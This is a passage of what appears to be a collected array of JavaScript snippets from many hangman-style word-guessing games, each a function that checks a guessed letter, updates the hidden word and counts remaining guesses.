[];\n\n // Loop through word finding all instances of guessed letter, store the indicies in an array.\n for (var i = 0; i < villainsList[currentWordIndex].length; i++) {\n if(villainsList[currentWordIndex][i] === letter) {\n positions.push(i);\n }\n }\n\n // if there are no indicies, remove a guess and update the hangman image\n if (positions.length <= 0) {\n remainingGuesses--;\n updateHangmanImage();\n } else {\n // Loop through all the indicies and replace the '_' with a letter.\n for(var i = 0; i < positions.length; i++) {\n guessingWord[positions[i]] = letter;\n }\n }\n}", "function evaluateGuess(letter) {\n // Array to store positions of letters in string\n var positions = [];\n\n // Loop through word finding all instances of guessed letter and store in an array.\n for (var i = 0; i < currentWord.length; i++) {\n if (currentWord[i] === letter) {\n positions.push(i);\n }\n }\n // Loop through all the matching keys pressed and replace the '_' with a letter.\n for (var i = 0; i < positions.length; i++) {\n guessingWord[positions[i]] = letter;\n \n }\n}", "function evaluateGuess(letter) {\n // to store store of letters \n var store = [];\n\n // finding all letters store.\n for (var i = 0; i < words[asnwerArray].length; i++) {\n if(words[asnwerArray][i] === letter) {\n store.push(i);\n }\n }\n\n if (store.length <= 0) {\n triesLeft--;\n updatehangman();\n } else {\n for(var i = 0; i < store.length; i++) {\n word[store[i]] = letter;\n }\n }\n}", "function getValidLetterGuess() {\n function guessIsValid(letter) {\n return (\n letter.length === 1 &&\n letter.toUpperCase() !== letter.toLowerCase() &&\n !Object.values(gameDataObj).includes(letter)\n );\n }\n let letter = \"\";\n while (!letter) {\n console.log(`\\n${board.join(\" \")}\\n`); // display board\n let input = readline.question(\"Please enter your guess: \");\n if (guessIsValid(input)) {\n letter = input;\n console.log(displayLettersGuessed(letter)); // display user input\n compareLetters(letter); // comapre if user input is in secret word\n } else {\n console.clear();\n console.log(displayLettersGuessed(letter)); // display user input\n console.log(chalk.red(\"Please enter a valid letter\"));\n }\n }\n return letter.toLowerCase();\n}", "checkLetter(phrase, guess) {\r\n\t\tlet correctGuess = false;\r\n\t\tfor (var i = 0; i < phrase.length; i++) {\r\n\t\t\tif (guess === phrase.charAt(i)) {\r\n\t\t\t\tcorrectGuess = true;\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn correctGuess;\r\n\t}", "function testGuess(letter){\n\t\tfor (var i=0;i<randomWord.length;i++){\t\n\t\t\t\n\t\t\tif (letter == randomWord[0]){\n\t\t\t\tdisplayLetters(letter);\n\t\t\t\treturn;\n\t\t\t}\n\t\t\telse if (letter == randomWord[i+1]){\n\t\t\t\tdisplayLetters(letter);\n\t\t\t\treturn;\n\t\t\t}\n\t\t\telse if (letter == randomWord[i+2]){\n\t\t\t\tdisplayLetters(letter);\n\t\t\t\treturn;\n\t\t\t}\n\t\t\telse if (letter == randomWord[i+3]){\n\t\t\t\tdisplayLetters(letter);\n\t\t\t\treturn;\n\t\t\t}\n\t\t\telse if (letter == randomWord[i+4]){\n\t\t\t\tdisplayLetters(letter);\n\t\t\t\treturn;\n\t\t\t}\n\t\t\telse if (letter == randomWord[i+5]){\n\t\t\t\tdisplayLetters(letter);\n\t\t\t\treturn;\n\t\t\t}\n\t\t\telse if (letter == randomWord[i+6]){\n\t\t\t\tdisplayLetters(letter);\n\t\t\t\treturn;\n\t\t\t}\n\t\t\telse if (letter == randomWord[i+7]){\n\t\t\t\tdisplayLetters(letter);\n\t\t\t\treturn;\n\t\t\t}\n\t\t\telse {\n\t\t\t\tvar j = 0;\n\t\t\t\tif (letter == guessedLetters[j]){\n\t\t\t\t\talert(\"Already guessed!\");\n\t\t\t\t\treturn;\n\t\t\t\t}\t\t\t\t\t\n\t\t\t\telse if (letter == guessedLetters[j+1]){\n\t\t\t\t\talert(\"Already guessed!\");\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\telse if (letter == guessedLetters[j+2]){\n\t\t\t\t\talert(\"Already guessed!\");\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\telse if (letter == guessedLetters[j+3]){\n\t\t\t\t\talert(\"Already guessed!\");\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\telse if (letter == guessedLetters[j+4]){\n\t\t\t\t\talert(\"Already guessed!\");\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tguessedLetters.push(letter);\n\t\t\t\t\tlives = lives - 1;\n\t\t\t\t\treturn;\n\t\t\t\t}\t\n\t\t\t};\n\t\t};\n\t}", "checkLetter(guess) {\n for (let i = 0; i < this.phrase.length; i++) {\n if (this.phrase.charAt(i) === guess) {\n return true;\n }\n }\n }", "function evaluateGuess(letter) {\n var positions = [];\n for (var i = 0; i < wordList[currentWordIndex].length; i++) {\n if(wordList[currentWordIndex][i] === letter) {\n positions.push(i);\n }\n }\n if (positions.length <= 0) {\n guessesRemaining--;\n } \n else {\n for(var i = 0; i < positions.length; i++) {\n currentWord[positions[i]] = letter;\n }\n }\n}", "function guessChar(z){\n guess();\n}", "function evaluateGuess(letter) {\n // Array to store positions of letters in string\n var positions = [];\n\n // Loop through word finding all instances of guessed letter, store the indicies in an array.\n for (var i = 0; i < words[guessWordIndex].length; i++) {\n if(words[guessWordIndex][i] === letter) {\n positions.push(i);\n console.log(letter);\n }\n }\n\n // if there are no indicies, remove a guess\n if (positions.length <= 0) {\n lifePoints--;\n\n } else {\n // Loop through all the indicies and replace the '_' with a letter.\n for(var i = 0; i < positions.length; i++) {\n guessWord[positions[i]] = letter;\n\n }\n }\n}", "function checkLetter(input){\n\t\t// Check if word has been used before\n\t\tvar counter = 0; // counts how many times the letter appears in the word\n\t\tfor(l=0; l< word.length; l++){\n\t\t\tvar currentGuess = input;\n\t\t\tvar currentCheck = word.charAt(l);\n\t\t\tif(currentGuess === currentCheck){\n\t\t\t\tcorrectGuesses++;\n\t\t\t\tcounter++;\n\t\t\t}\n\t\t}\n\n\t\tif(counter === 0){\n\t\t\t\tincorrectGuesses++;\n\t\t\t\tplayVideo();\n\t\t\t}\n\n\t\tfor(k=0; k < word.length; k++){\n\t\t\tvar currentGuess = input;\n\t\t\tvar currentCheck = word.charAt(k);\n\t\t\tif(input === word.charAt(k)){\n\t\t\t\tanswerMask[k] = input;\n\t\t\t\t// correctGuesses++;\n\t\t\t}\n\t\t}\n\t\theartbeat = chances - incorrectGuesses;\n\t\t// log(\"incorrectGuesses \" + incorrectGuesses);\n\t\t// log(\"correctGuesses\" + correctGuesses);\n\n\t\tguessedLetters.push(input);\n\t}", "function checkGuess(letter) {\n // If letter is correct, replace blank space with corresponding letter\n if (chosenWord.indexOf(letter) > -1) {\n for (var j=0; j < chosenWord.length; j++) {\n if (chosenWord[j] == letter) {\n underScore[j] = chosenWord[j];\n }\n }\n // If letter is wrong, guesses left decreases\n } else {\n wrongLetters.push(letter);\n guessesLeft--;\n }\n updateDomElements();\n checkAnswer();\n}", "function guessLetter() {\n //gets value of the letter guess\n\n guess = document.getElementById(\"playerGuess\").value;\n guess = guess.toLowerCase();\n //Check to see if input is valid or blank\n if (!guess || guess.length > 1 || !(guess.match(/[a-z]/i))){\n alert('Please enter a letter.');\n document.getElementById(\"playerGuess\").value = \"\";\n \n } else {\n //check to see if letter has been guessed\n letterGuessCheck();\n \n //check to see if the letter is in the word\n //isInWord();\n\n }; \n}", "function letterGuess(){\n var computerGuess = letters[Math.floor(Math.random() * letters.length)];\n return computerGuess;\n}", "function letterGuess(){\r\n var c = document.getElementById('Gletter').value.toUpperCase();\r\n // If the guesses letter is Present !!\r\n if (key.includes(c)){\r\n // All the chars having same value as c must be shown ie if a letter is guessed, all places having it it shown\r\n for (var w = 0; w < guesses.length; w++){\r\n // Equals the word\r\n if (c == key[w]){\r\n // the space is still blank-Fill it in\r\n if (guesses[w] == '_')\r\n guesses[w] = c;\r\n // If not\r\n else{\r\n // Check if other blanks contain the same letter\r\n var count = 0;\r\n for (var v = w+1; v < key.length; v++){\r\n if (key[v] == c)\r\n count += 1;\r\n }\r\n // If they do not then for 5 seconds show that the letter exists\r\n if (count == 0){\r\n document.getElementById('last').innerHTML = 'Letter Already Present';\r\n setTimeout(function(){document.getElementById('last').innerHTML = 'Current Position: ';}, 5000);\r\n }\r\n }\r\n }\r\n }\r\n }\r\n // If the letter is not in the word at all => Punishment extra part to the hanging...\r\n else{\r\n errors += 1;\r\n changeImage();\r\n }\r\n // Checking for decisive result\r\n if (errors == 10)\r\n resultingText(false);\r\n if (guesses.toString().replaceAll(',', '') == key)\r\n resultingText(true);\r\n \r\n // Setting the input back to null and printing the new dashes again\r\n document.getElementById('Gletter').value = '';\r\n dashes();\r\n}", "function checkLetter(letter) {\n\t\t//check to see if the guess is part of the goal word and also\n\t\t//check to see if the letter has been guessed before\n\t\t//if it is not, add 1 to the numberWrong variable \n\t\t//(and draw the next piece of the stick-figure)\n\t\t//if game is over, display complete word and related image\n\n\t\tif (gameOver === \"no\" && lowerGame.indexOf(letter.toLowerCase()) == -1 && usedLetters.indexOf(letter.toUpperCase()) === -1) {\n\t\t\tnumberWrong++;\n\t\t\tusedLetters.push(letter.toUpperCase());\n\t\t\tshowUsedLetters();\n\t\t}\n\n\t\telse if (gameOver === \"no\" && usedLetters.indexOf(letter.toUpperCase()) === -1) {\n\n\t\t\tusedLetters.push(letter.toUpperCase());\n\t\t\tshowUsedLetters();\n\n\n\t\t//if the guess is part of the goal word, update the solution array\n\t\t//everywhere the letter appears.\n\n\t\t\tfor (var i = 0; i < solution.length; i++) {\n\t\t\t\tif (lowerGame[i] === letter.toLowerCase()) {\n\t\t\t\t\tsolution[i] = currGame[i];\n\t\t\t\t}\n\t\t\t}\n\n\t\t}\n\n\t\t//after all locations are updated, display the updated solution\n\t\t//to the user.\n\n\t\tshowSolution();\n\n\t\t//show hangman image based on number of wrong guesses\n\t\tcurrentHangmanImage.attr(\"src\", hangmanImgArray[numberWrong].src);\n\n\t\t//if game is over, update gameOver variable. If game was won, display won image\n\t\tif (numberWrong == 6) {\n\t\t\tgameOver = \"loss\";\n\n\t\t} else if (solution.indexOf(\"_\") === -1) {\n\t\t\tgameOver = \"win\";\n\t\t\tcurrentHangmanImage.attr(\"src\", \"assets/images/gallowsWin.png\");\n\t\t\t}\n\n\n\t\t//if the game is over, display the video or image associated with the city used\n\t\tif (gameOver != \"no\") {\n\t\t\t//update solution to fill in all letters\n\t\t\tfor (var i = 0; i < currGame.length; i++) {\n\t\t\t\tif (currGame[i] === \" \"){\n\t\t\t\t\tsolution[i] = \"\\xa0\\xa0\";\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tsolution[i] = currGame[i];\n\t\t\t\t}\n\t\t\t};\n\t\t\tshowSolution();\n\t\t\t//if the image type is video, embed the youtube video\n\t\t\tif (cities[randomNumber].imageType == \"video\") {\n\t\t\tvideoDiv = $(\"<iframe>\");\n\t\t\tvideoDiv.attr({\n\t\t\t\tsrc: cities[randomNumber].imageLink,\n\t\t\t\twidth: \"600\",\n\t\t\t\theight: \"400\",\n\t\t\t\tframeborder: \"0\",\n\t\t\t\tallowfullscreen: \"\"});\n\t\t\t// videoDiv.attr(\"width\", \"800\");\n\t\t\t$(\".usedArea\").append(videoDiv);\n\t\t\t} else {\n\t\t\t\t//if the image type is not video, it is a photo that should be displayed\n\t\t\t\tpictureDiv = $(\"<img>\");\n\t\t\t\tpictureDiv.attr({src: cities[randomNumber].imageLink,\n\t\t\t\twidth: \"600\",\n\t\t\t\theight: \"400\"\n\t\t\t\t});\t\t\n\t\t\t\t$(\".usedArea\").append(pictureDiv);\t\n\t\t\t}\n\t\t}\n\t}", "function promptForLetter() {\n inquirer.prompt([\n {\n name: \"letterGuess\",\n type: \"input\",\n message: \"Type a letter to guess: \"\n }\n ]).then(function(answer) {\n newWord.currentGuess(answer.letterGuess);\n\n console.log();\n \n var displayWord = newWord.createWord();\n console.log(chalk.yellow(displayWord) + \"\\n\"); // displays current version of word\n guessNum -= 1;\n console.log(chalk.red(\"Guesses Remaining: \") + chalk.white(guessNum) + \"\\n\");\n if (displayWord.includes(\"_\") && guessNum > 0) {\n promptForLetter();\n } else {\n if (!(displayWord.includes(\"_\"))) {\n console.log(chalk.magenta(\"Contgrats! You guessed correctly.\\n\"));\n } else {\n console.log(chalk.blue(\"Sorry, you did not guess correctly. The word was: \") + chalk.cyan(randomWord) +\"\\n\");\n }\n inquirer.prompt([\n {\n name: \"playGame\",\n type: \"confirm\",\n default: false,\n message: \"Would you like to play again?\"\n }\n ]).then(function(answer) {\n if (answer.playGame) {\n startGame();\n } else {\n process.exit();\n }\n });\n }\n });\n}", "checkLetter(guess) {\n if (this.phrase.includes(guess.toLowerCase())) {\n return true;\n } else {\n return false;\n }\n }", "function checkGuess(letter) {\n // Array to store letterPosition of letters in string\n var letterPosition = [];\n\n // Loop through word finding all instances of guessed letter, store the indicies in an array.\n for (var i = 0; i < word[randWord].length; i++) {\n if(word[randWord][i] === letter) {\n letterPosition.push(i);\n }\n\n }\n\n // if there are no indicies, remove a guess and update the hangman image\n if (letterPosition.length <= 0) {\n guessesLeft--;\n updateHangmanImage();\n } else {\n // Loop through all the indicies and replace the '_' with a letter.\n for(var i = 0; i < letterPosition.length; i++) {\n wordGuess[letterPosition[i]] = letter;\n \n }\n }\n}", "function lettersToGuess() {\n var toGuess = 0;\n for (i in progressWord) {\n if (progressWord[i] === \"_\")\n toGuess++;\n }\n return toGuess;\n }", "function checkGuess() {\n // Collect the text from the letters and the guess\n var letters = getLetters();\n var guess = getGuess();\n\n // Convert both to uppercase so we can compare equals\n guess = guess.toUpperCase();\n letters = letters.toUpperCase();\n\n // Determine if all the characters in the guess are in the letters\n for (var i = 0; i < guess.length; i++) {\n var currentChar = guess[i];\n\n // If the current character can't be found in letters, the guess is incorrect\n if (letters.indexOf(currentChar) === -1) {\n // Show a message saying guess is incorrect\n showMessage(\"Wrong guess, try again.\");\n // Return false to exit the function\n return false;\n }\n }\n\n // If we've made it this far, then the guess must be correct!\n // Show a message saying guess is correct\n showMessage(\"Good guess, that is correct!\");\n // Return true to exit the function\n return true;\n}", "function checkForLetter(letter) {\r\n var foundLetter = false;\r\n\r\n // Search string for letter\r\n for (var i=0; i < randomNumber.length; i++) {\r\n if (letter === randomNumber[i]) {\r\n guesses[i] = letter\r\n foundLetter = true;\r\n}\r\n}\r\n}", "function guessLetter( letter, shown, solution ) {\n var checkIndex = 0;\n \n checkIndex = solution.indexOf(letter);\n while ( checkIndex >= 0 ) {\n shown = alterAt( checkIndex, letter, shown );\n checkIndex = solution.indexOf(letter, checkIndex + 1);\n }\n return shown;\n}", "checkLetter(e) {\n\t\tthis.letterGuess = e.toLowerCase();\n\t\tthis.regexText = /[A-Za-z]/.test(this.letterGuess);\n\t\tif (this.regexText) {\n\t \t\tlet thisPhrase = this.phrase.toString();\n\n\t\t\t//Append letters to Letter CheckArray\n\t\t\tif (this.letterGuesses.includes(this.letterGuess)) {\n\t\t\t\talert(\"You've already used that letter!\")\n\t\t\t} else {\n\t\t\tthis.letterGuesses.push(this.letterGuess);\n\t\t\t}\n\n\t\t\tif (this.phrase.includes(this.letterGuess)) {\n\t\t\t\treturn true;\n\t\t\t} else {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t} else {\n\t\t\talert(\"Please only use letters!\");\n\n\t\t}\n\t}", "function isValidGuess() {\n\n if (alphabet.indexOf(currentGuess) !== -1) {\n console.log(\"Your guess: \" + currentGuess);\n isCorrectGuess();\n } else {\n console.log(\"That is not a letter!\");\n }\n }", "function letterGuess(letter) {\n console.log(letter);\n if (gameRunning === true && guessedLetterBank.indexOf(letter) == -1) {\n //Run game logic\n guessedLetterBank.push(letter);\n //Check if guessed letter is in my picked word\n for (var i = 0; i < pickedWord.length; i++) {\n //convert both values to lowercase(if mystery word had caps or capslock on)\n if (pickedWord[i].toLowerCase() === letter.toLowerCase()) {\n //If a match, swap out that character in the placeholder with the actdual letter\n pickedWordPlaceholderArr[i] = pickedWord[i];\n }\n }\n $placeholders.textContent = pickedWordPlaceholderArr.join(' ');\n //Pass letter into our checkIncorrect function\n checkIncorrect(letter);\n }\n else {\n if (!gameRunning) {\n alert (\"The game isn't running, click on the START button to start over\");\n } else {\n alert (\"You've already guessed this letter, try a new one!\");\n }\n }\n }", "function computerGuess() {\nvar letter = letters[Math.floor(Math.random() * letters.length) * 26];\n}", "function checkAnswer(data) {\n if (data.letter.length === 1 && /^[a-zA-Z]+/.test(data.letter)) {\n const letterChecker = data.letter.toUpperCase();\n const temp = gameWord.displayWord();\n gameWord.checkGuess(letterChecker);\n if (temp === gameWord.displayWord()) {\n console.log(\"\\n Sorry, wrong letter!\".bgYellow);\n counter++;\n console.log(8 - counter + \" guesses remaining.\".cyan);\n promptUser();\n } else {\n correctGuess();\n }\n } else {\n console.log(`\\nPlease enter a letter, one at a time.\\n`.bgRed);\n promptUser();\n }\n}", "function matchLetter(letter) {\n\tvar matched = false;\n\n\tfor (var i = 0; i < letterCounter; i++) {\n\t\tif(answerWord[i] === letter ) {\n\t\t\t//Changes matched to true if the answerWord contains letter\n\t\t\tmatched = true;\n\t\t}\n\t}\n\t//Once matched is true, it loops through to the occurance of the letter and replaces \n\tif (matched) {\n\t\tfor (var j = 0; j < letterCounter; j++) {\n\t\t\tif (answerWord[j] === letter) {\n\t\t\t\tupdatedWordWithGuesses[j] = letter\n\t\t\t}\n\t\t}\n\t\tconsole.log(\"\\n\\x1b[32m%s\\x1b[0m\", \"CORRECT!!!\");\n\t\tconsole.log(\"\\n\" + updatedWordWithGuesses.join(\"\") + \"\\n\");\n\t\tendGame();\n\t\taskquestions();\n\t}\n\telse{\n\t\twrongLetters.push(letter);\n\t\t//Subtracts every time user gets the letter incorrectly\n\t\tnumberGuesses--;\n\t\tconsole.log(\"\\n\\x1b[31m%s\\x1b[0m\", \"INCORRECT!!!\");\n\t\tconsole.log(\"\\n\" + numberGuesses + \" guesses remaining!\");\n\t\tconsole.log(\"\\nLetters guessed: \" + wrongLetters);\n\t\tconsole.log(\"\\n\" + updatedWordWithGuesses.join(\"\") + \"\\n\");\n\t\tendGame();\n\t\taskquestions();\n\n\t}\n}", "function checkLetter (guess){\n\t\tconst letter = document.getElementsByClassName(\"letter\");\n\t\tlet foundMatch = null;\n\t\tfor (let i = 0; i < letter.length; i++) {\n\t\t\tif (guess === letter[i].textContent.toLowerCase()) {\n letter[i].classList.add('show');\n foundMatch = letter[i].textContent;\n } \n }\n return foundMatch\n }", "function checkGuess(guessedLetter) {\nfor(var i = 0; i < word.length; i++) {\nif (word[i] === guessedLetter) {\n\tcorrectGuesses.push(guessedLetter);\n\t\t}\n\t}\n}", "guessLetter(letterGuessed){\n if(letterGuessed === this.character){\n this.isGuessed = true;\n }\n\n this.showLetter()\n }", "function Guess(letter) {\nconsole.log(letter);\n\nif (gameRunning && GuessedLetters.indexOf(letter) === -1) {\n\n//Run Game \nGuessedLetters.push(letter);\n\n//check if guessed letter is in picked word\n\nfor (var i = 0 ; i < ChosenWord.length ; i++) {\n //convert both values to lower case for comaprison.\n if (ChosenWord[i].toLowerCase() === letter.toLowerCase()) {\n //if match swap out character in placeholder\n ChosenWordarr[i] = ChosenWord[i];\n }\n}\nplaceholder.innerHTML = ChosenWordarr.join('');\nIncorrect(letter);\n}\nelse{\n if(!gameRunning) {\n alert(\"Press the Button to save the world!\")\n Alert();\n } else {\n alert(\"This button has already been pressed!\")\n Alert();\n }\n}\n }", "function compGuess(){\n letter = computerChoice[Math.floor(Math.random() * computerChoice.length)];\n \n //console log to test\n console.log(letter);\n return letter;\n }", "function letterGuess(letter) {\n console.log(letter);\n\n // Test if the new game has been started and if the letter has not been chosen already\n if (gameRunning === true && guessedLetterBank.indexOf(letter) === -1) {\n\n // Put letter in the guessed word bank\n guessedLetterBank.push(letter);\n\n // for loop to check every character in the placeholder\n for (var i = 0; i < pickedWord.length; i++) {\n // Convert both values to lower case so I can compare them correctly\n if (pickedWord[i].toLowerCase() === letter.toLowerCase()) {\n // If a match, swap out that character in the placeholder with the letter\n pickedWordPlaceholderArr[i] = pickedWord[i];\n }\n }\n\n // Replace the textContent of the placeholder in DOM\n $placeholders.textContent = pickedWordPlaceholderArr.join('');\n // Pass letter into our checkIncorrect function\n checkIncorrect(letter);\n\n }\n // If new game has not been started, alert error message.\n else {\n if (!gameRunning) {\n alert(\"The game isn't running, click on the New Game button to start over.\")\n } else {\n alert(\"You've already guessed this letter, try a new one!\")\n }\n }\n}", "function checkLetter(guess) {\n const letterAnswers = document.querySelectorAll('.letter');\n const li = document.querySelectorAll('.letter');\n let match;\n for (let i = 0; i < letterAnswers.length; i +=1) {\n let show = letterAnswers[i].textContent;\n if (show === guess) {\n li[i].classList.add('spin');\n li[i].className += ' show';\n match = show;\n }\n }\n return match;\n }", "function guessLetter() {\n input = document.getElementById('letter').value;\n input = input.toUpperCase();\n \n if(guessedLetters.includes(input)) {\n alert('You\\'ve already guessed the letter ' + input.toUpperCase() + '!');\n \n } else if(input === '') {\n alert('You didn\\'t guess a letter! Please enter a letter!');\n \n } else if(randomWord.includes(input)) {\n for(var i = 0; i < randomWord.length; i++) {\n if(randomWord[i].includes(input)) {\n arrBlank[i].style.visibility = 'visible';\n }\n }\n correctLetters.push(input);\n guessedLetters.push(input);\n totalGuesses++;\n\n } else {\n alert('Sorry, the letter ' + input + ' is not included in the word!');\n guessedLetters.push(input);\n maxTries--;\n totalGuesses++;\n wrongGuesses++;\n gallows();\n }\n document.getElementById('letter').value = ''; // erases value of text box after \"Guess\" is clicked\n document.getElementById('guessed-letters').textContent = 'You\\'ve guessed: ' + guessedLetters.join(' ').toUpperCase();\n document.getElementById('remaining-guesses').textContent = 'Tries remaining ' + maxTries;\n document.getElementById('total-guesses').textContent = 'Total guesses: ' + totalGuesses;\n winLose();\n}", "function guessLetter(){\n var correct = 0;\n var target = event.target || event.srcElement;\n target.style.visibility = \"hidden\";\n var lower = target.id;\n var upper = document.getElementById(lower).getAttribute('value');\n var results = document.getElementById('results');\n var ul1 = document.getElementById('underline1').offsetWidth;\n for(a = 1; a < 101; a++){\n if(document.getElementById('letter'+a).innerHTML === upper || document.getElementById('letter'+a).innerHTML === lower){\n document.getElementById('letter'+a).style.visibility = \"visible\";\n correct++;\n numRight++;\n }\n }\n\n\n//This block of code displays the consequences of getting a wrong answer.\n if(correct==0){\n numWrong++;\n hang();\n }\n if(numWrong==6){\n results.style.visibility = \"visible\";\n results.style.color = \"red\";\n results.innerHTML = \"You can't miss another letter!\";\n if(ul1 == 50){\n results.style.lineHeight = \"70px\";\n results.style.fontSize = \"30px\";\n }\n if(ul1 == 28){\n results.style.lineHeight = \"50px\";\n results.style.fontSize = \"25px\";\n }\n if(ul1 == 18){\n results.style.lineHeight = \"40px\";\n results.style.fontSize = \"20px\";\n }\n }\n if(numWrong==7){\n results.innerHTML = \"You lose!<br>Keep guessing until you get it right.\";\n document.getElementById('again').style.display = \"block\";\n document.getElementById('home').style.display = \"block\";\n if(ul1 == 50){\n results.style.lineHeight = \"40px\";\n }\n if(ul1 == 28){\n results.style.lineHeight = \"25px\";\n }\n if(ul1 == 18){\n results.style.lineHeight = \"20px\";\n }\n }\n if(numRight==wordLength){\n win();\n }\n}", "function wordGuess(){\r\n var w = document.getElementById('Gword').value.toUpperCase();\r\n if (w == key)\r\n resultingText(true);\r\n else\r\n resultingText(false);\r\n}", "function checkLetter(event) {\n var userGuess = event.key.toLowerCase();\n if ($(\"#loseModal\").css(\"display\") !== \"block\" && $(\"#winModal\").css(\"display\") !== \"block\") {\n if ((event.which >= 65 && event.which <= 90) || ((event.which >= 97 && event.which <= 122)) && (guesses.indexOf(userGuess) == -1)) { \n guesses.push(userGuess);\n guessMatch(userGuess);\n appearLetters(indexChecker, userGuess);\n }\n winOrLose(winCounter, lives);\n indexChecker = [];\n }\n}", "function checkForLetter(letter) {\n var foundLetter = false\n \n // loop through word letters\n for (var i = 0, j = hiddenWord.length; i < j; i++) {\n\n // if matching letter, assign to guessing word array\n if (letter === hiddenWord[i]) {\n wordBeingGuessed[i] = letter\n foundLetter = true\n\n // if all letters match hidden word, increase winTotal, reset game\n if (wordBeingGuessed.join(\"\") === hiddenWord) {\n winTotal++\n removePicture()\n displayPicture()\n updateDisplay()\n resetGame()\n }\n }\n }\n // if letter doesnt match, lower guessing remaining\n if (!foundLetter) {\n if (!guessedLetters.includes(letter)) {\n guessedLetters.push(letter)\n guessesRemaining--\n }\n\n // if guesses are 0, display the word and reset game\n if (guessesRemaining === 0) {\n wordBeingGuessed = hiddenWord.split()\n resetGame()\n }\n }\n\n updateDisplay()\n}", "function letterCheck() {\n unknown.forEach((x, i) => {\n if (guess.localeCompare(unknown[i], \"en\", { sensitivity: \"base\" }) == 0) {\n underscores[i] = unknown[i];\n }\n document.getElementById(\"mysteryWord\").innerHTML = underscores.join(\"\");\n });\n}", "guessCharacter(x) {\n // A count is used to check if any letter was changed from guessed=false to guessed=true\n let count = 0;\n for (let i in this.array) {\n let LetterObj = this.array[i];\n // Calle the guessLetter function of the current letter we are looking at\n LetterObj.guessLetter(x);\n // If the current letter matches the user's guess then increase count\n if (LetterObj.letter.toLowerCase() == x) {\n count++;\n }\n }\n // If count was increased at all then this method returns true this is used to check if the user guesses the letter\n // correctly and if we need to lower how many guesses they have left\n if (count > 0) {\n return true;\n } else {\n return false;\n }\n }", "function guessLetter(){\n //Prompt user to enter a letter\n if (display < aWord.letters.length || guessesRemaining > 0) {\n inquirer.prompt([\n {\n name: \"letter\",\n message: \"Guess a letter:\",\n //verify the guess is a letter\n validate: function(value) {\n if(isLetter(value)){\n return true;\n } \n else {\n return false;\n }\n }\n }\n ]).then(function(guess) {\n //letters to upper case\n\tguess.letter.toUpperCase();\n\tconsole.log(\"You guessed: \" + guess.letter.toUpperCase());\n\t//Assume correct guess \n\tuserGuessedCorrectly = false;\n\t//check if letter has already been guessed\n\tif (lettersGuessedArray.indexOf(guess.letter.toUpperCase()) > -1) {\n\t\t//If user already guessed a letter, run inquirer again to prompt them to enter a different letter.\n\t\tconsole.log(\"You already guessed that letter. Enter another one.\");\n\t\tconsole.log(\"=============================\");\n\t\tguessLetter();\n\t}else if (lettersGuessedArray.indexOf(guess.letter.toUpperCase()) === -1) {\n\t\t//guessed letters.\n\t\tlettersGuessed = lettersGuessed .concat(\"\" + guess.letter.toUpperCase());\n\t\tlettersGuessedArray.push(guess.letter.toUpperCase());\n\t\t//Log guessed letters.\n\t\tconsole.log(\"Letters already guessed: \" + lettersGuessed );\n\n\t\t//check if letter matches word\n\t\tfor (i=0; i < aWord.letters.length; i++) {\n //If the user guess equals one of the letters\n if (guess.letter.toUpperCase() === aWord.letters[i].character && aWord.letters[i].correctLetter === false) {\n\t\t\t\t//Set correctLetter property for that letter equal to true.\n\t\t\t\taWord.letters[i].correctLetter === true;\n\t\t\t\t//Set userGuessedCorrectly to true.\n\t\t\t\tuserGuessedCorrectly = true;\n\t\t\t\t//aWord.underscores[i] = guess.letter.toUpperCase();\n\t\t\t\t//increment underscores\n\t\t\t\tdisplay++;\n\t\t\t}\n\t\t}\n\t\tconsole.log(\"Word to guess: \");\n\t\taWord.splitWord();\n\t\taWord.lettersNeeded();\n \t//If user guessed correctly...\n\t\tif (userGuessedCorrectly) {\n\t\t\t//correct guess \n\t\t\tconsole.log(\"Correct letter\");\n\t\t\tconsole.log(\"==============================\");\n\t\t\t//check if user won or lost\n\t\t\tcheckIfUserWon();\n\t\t}\n\n\t\t//Incorrect guess\n\t\telse {\n\t\t\t//Tell user they are incorrect\n\t\t\tconsole.log(\"Incorrect letter!\");\n\t\t\t//Decrease number reamining guesses\n\t\t\tguessesRemaining--;\n\t\t\tconsole.log(\"You have \" + guessesRemaining + \" guesses left.\");\n\t\t\tconsole.log(\"==================================\");\n\t\t\t//check if game is over won or lost\n\t\t\tcheckIfUserWon();\n\t\t}\n\t}\n});\n}\n}", "function isValidGuess(letter){\n\tif(letter.length > 1){\n\t\treturn [{msg: \"The guess \", color: null}, {msg: letter, color: \"yellowBright\"}, {msg: \" is more than 1 character. Please limit to only 1 letter per guess.\", color: null}];\n\t}\n\telse if(letterCheck.indexOf(letter.toUpperCase()) == -1){\n\t\treturn [{msg: \"The guess \", color: null}, {msg: letter, color: \"yellowBright\"}, {msg: \" is not a valid guess.\", color: null}];\n\t}\n\telse\n\t\treturn null;\n}", "function addCorrectLetter(guess) {\n for(var j = 0; j < game.length; j++) {\n if (guess.key === game[j]) {\n answerArray[j] = guess.key.toUpperCase();\n showCurrentWord();\n lettersLeft--;\n if (lettersLeft === 0) {\n winNum++;\n showWins();\n nextImage();\n addCorrect();\n showCurrentWord();\n }\n }\n }\n}", "function playGame(letter) {\n\tvar letter = letter.toLowerCase();\n\n\t// Checks if key is a letter\n\tif (alphabet.indexOf(letter) > -1) {\n\t\tif (wordAsArr.indexOf(letter) > -1) {\n\t\t\tcorrectGuesses++;\n\t\t\tdisplayLetter(letter);\n\t\t}\n\t\telse {\n\t\t\tif (lettersGuessed.indexOf(letter) > -1) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\telse {\n\t\t\t\tguessesLeft--;\n\t\t\t\tdocument.getElementById(\"guessesLeft\").innerHTML = guessesLeft;\n\t\t\t\tlettersGuessed.push(letter);\n\t\t\t\tdocument.getElementById(\"lettersGuessed\").innerHTML = lettersGuessed.join(' ');\n\t\t\t\tif (guessesLeft == 0) {\n\t\t\t\t\talert(\"Sorry! The correct answer is \" + currentWord);\n\t\t\t\t\tinitialize();\n\t\t\t\t\tnumLosses++;\n\t\t\t\t\tdocument.getElementById(\"losses\").innerHTML = numLosses;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}", "function makeGuess(letter) {\n if (remainingGuesses > 0) {\n if (!gameStarted) {\n gameStarted = true;\n }\n\n if (guessedLetters.indexOf(letter) === -1) {\n 